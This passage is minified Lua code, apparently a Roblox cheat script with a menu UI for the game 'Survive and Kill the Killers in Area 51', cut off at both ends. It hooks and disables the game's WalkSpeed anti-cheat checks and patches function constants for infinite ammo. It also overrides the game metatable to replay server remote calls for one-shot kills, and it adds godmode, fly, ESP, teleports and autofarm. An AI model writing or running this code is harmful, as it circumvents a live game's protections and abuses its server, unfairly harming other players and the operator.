game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==4631179692 then local o="BloodTheme"local x=n.CreateLib("Killhouse UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")local am=''z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else warn("")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)local y=x:NewTab("Teleports:")local z=y:NewSection("Start/End Teleports")z:NewButton("Teleport to Start","Teleports you to the start.",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.Killhouse.StartTrigger.CFrame end)z:NewButton("Teleport to End","Teleports you to the end.",function()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.Killhouse.EndTrigger.CFrame end)local y=x:NewTab("ESP:")local z=y:NewSection("Target/Player")z:NewToggle("Targets Esp","Puts ESP on targets around the map..",function(R)if R then for an,v in pairs(game:GetService("Workspace").AREA51.Killhouse.Targets:GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Target"then local a5=Instance.new("BoxHandleAdornment",v)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=v.Size;a5.Adornee=v;a5.Transparency=0.4;a5.Color=BrickColor.new("Really red")local a=Instance.new("BillboardGui",v)a.Size=UDim2.new(1,0,1,0)a.Name=math.random(100,200)a.AlwaysOnTop=true;local a5=Instance.new("Frame",a)a5.Size=UDim2.new(1,0,1,0)a5.BackgroundTransparency=1;a5.BorderSizePixel=0;local ao=Instance.new("TextLabel",a5)ao.Text=v.Parent.Name;ao.Size=UDim2.new(1,0,1,0)ao.BackgroundTransparency=0;ao.BorderSizePixel=0;ao.TextColor=BrickColor.new("Gun metallic")end end else for K,v in pairs(game:GetService("Workspace").AREA51.Killhouse.Targets:GetDescendants())do if v:IsA("BoxHandleAdornment")or v:IsA("BillboardGui")then v:Destroy()end end end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==2092167559 then local o="BloodTheme"local x=n.CreateLib("Killer Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")local am=''local z=y:NewSection("Current Team:")z:NewToggle("Kill all Killers:","Enable/Disable to enable Autofarm",function(R)if R then local k=game:GetService('Players').LocalPlayer;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Humanoid.Health==0;wait()end end else print("Toggle Off")end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game:GetService("Workspace").Killers:GetDescendants())do pcall(function()if v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Area51 Doors:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(106.981911,323.620026,678.865051,0.108975291,-4.31107949e-08,0.994044483,-5.13666043e-09,1,4.39322072e-08,-0.994044483,-9.89359261e-09,0.108975291)wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)elseif game.PlaceId==5740483929 then local o="BloodTheme"local x=n.CreateLib("Hard Classic Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then 